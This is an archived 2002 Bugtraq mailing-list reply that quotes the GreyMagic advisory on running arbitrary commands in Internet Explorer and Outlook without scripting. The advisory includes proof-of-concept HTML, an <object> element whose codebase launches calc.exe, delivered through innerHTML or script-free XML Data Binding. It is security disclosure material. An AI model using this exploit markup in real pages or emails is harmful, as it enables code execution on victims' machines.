RE: IE execution of arbitrary commands without Active Scripting or ActiveX (GM#001-IE)

From: Thomas Thornbury (thorntat_private)
Date: Fri Mar 01 2002 - 04:58:50 PST

  • Next message: Sym Security: "Re: "Peter Miller" pcmiller61at_private, 02/26/2002 03:48 AM RE: Symantec LiveUpdate"

    Verified to work on XP Pro with IE 6.0.26.  All security options set to
    prompt.  No warning given.
    
    This has got to be one of the scarier exploits in recent memory.
    
    -----Original Message-----
    From: GreyMagic Software [mailto:securityat_private] 
    Sent: Wednesday, February 27, 2002 12:40 PM
    To: bugtraqat_private
    Subject: IE execution of arbitrary commands without Active Scripting or
    ActiveX (GM#001-IE)
    
    
    GreyMagic Security Advisory GM#001-IE
    =====================================
    
    by GreyMagic Software, Israel.
    27 Feb 2002.
    
    Topic: Executing arbitrary commands without Active Scripting or ActiveX.
    
    Discovery date: 25 Feb 2002.
    
    Affected applications:
    ======================
    
    Any application that hosts the WebBrowser control (5.5+) is affected
    since this exploit does not require Active Scripting or ActiveX. Some of
    these applications are:
    
    * Microsoft Internet Explorer
    * Microsoft Outlook
    * Microsoft Outlook Express
    
    
    Introduction:
    =============
    
    In an advisory from Jan 10 2002 "The Pull" demonstrated how it is still
    possible to use an older bug (initially discovered by Dildog) in the
    <object> HTML element to run arbitrary commands.
    
    Although "The Pull"'s findings were interesting, his analysis of the
    re-found bug was erroneous, the problem does not lie within the Popup
    object, the problem is with dynamically inserted HTML fragments at any
    point in the document.
    
    All "createPopup" does is create a (featureless) window containing an
    empty HTML document, this does not pose a threat, but later on, that
    document has HTML injected to it (using innerHTML), which is the actual
    problem.
    
    For example, the following code will work just the same:
    
    <span id="oSpan"></span>
    <script language="jscript" defer>
        oSpan.innerHTML='<object
    classid="clsid:11111111-1111-1111-1111-111111111111"
    codebase="c:/winnt/system32/calc.exe"></object>';
    </script>
    
    (Note: innerHTML is not the only property used to dynamically insert
    HTML to any element, it is also possible to use outerHTML,
    insertAdjacentHTML and more to gain the same results.)
    
    
    Discussion:
    ===========
    
    So now that we identified the origin of the problem we can search for
    ways to dynamically insert HTML without using any Active Scripting at
    all. It will then become possible to use this bug in more "protected"
    environments, such as Microsoft Outlook or Internet Explorer with Active
    Scripting and ActiveX disabled.
    
    One of the exciting features that came along in IE4 was Data Binding; it
    enables developers to completely separate any application data from the
    presentation layer. The data sources (DSO) for Data Binding can be
    almost anything, CSV files (with TDC), HTML, XML and many more. Data
    Binding binds HTML elements (data consumers) such as div or span to the
    DSO without need for a single line of script code.
    
    We found out that when the "dataFormatAs" attribute is set to "HTML" on
    the consumer, Data Binding internally uses innerHTML in order to insert
    the data into the element (otherwise innerText is used).
    
    So all we need to do now is supply a DSO that contains the offending
    <object> element, the rest will be done for us by the Data Binding
    engine, no scripting needed.
    
    
    Exploit:
    ========
    
    In the following example we're using an XML data-island as our DSO and a
    span element as the data consumer. Using XML is especially comfortable
    because it can be embedded within the document, without need for
    external requests that may be stopped by the host application.
    
    <span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
    <xml id="oExec">
        <security>
            <exploit>
                <![CDATA[
                <object id="oFile"
    classid="clsid:11111111-1111-1111-1111-111111111111"
    codebase="c:/winnt/system32/calc.exe"></object>
                ]]>
            </exploit>
        </security>
    </xml>
    
    
    Solution:
    =========
    
    There is no configuration-tweaking workaround for this bug, it will work
    as long as the browser parses HTML. The only possible solution must come
    in the form of a patch from Microsoft.
    
    
    Tested on:
    ==========
    
    IE5.5sp2 Win98, all patches, Active scripting and ActiveX disabled.
    IE5.5sp2 NT4 sp6a, all patches, Active scripting and ActiveX disabled.
    IE6sp1 Win2000 sp2, all patches, Active scripting and ActiveX disabled.
    IE6sp1 WinXP, all patches, Active scripting and ActiveX disabled.
    
    Demonstration:
    ==============
    
    We put together two proof-of-concept demonstrations:
    
    * Simple: attempts to run "c:/winnt/system32/calc.exe".
    * Advanced: lets the user pick what they want to run.
    
    They can both be found at http://security.greymagic.com/adv/gm001-ie/.
    
    Feedback:
    =========
    
    Please mail any questions or comments to securityat_private
    
    - Copyright C 2002 GreyMagic Software.
    



    This archive was generated by hypermail 2b30 : Mon Mar 04 2002 - 18:52:29 PST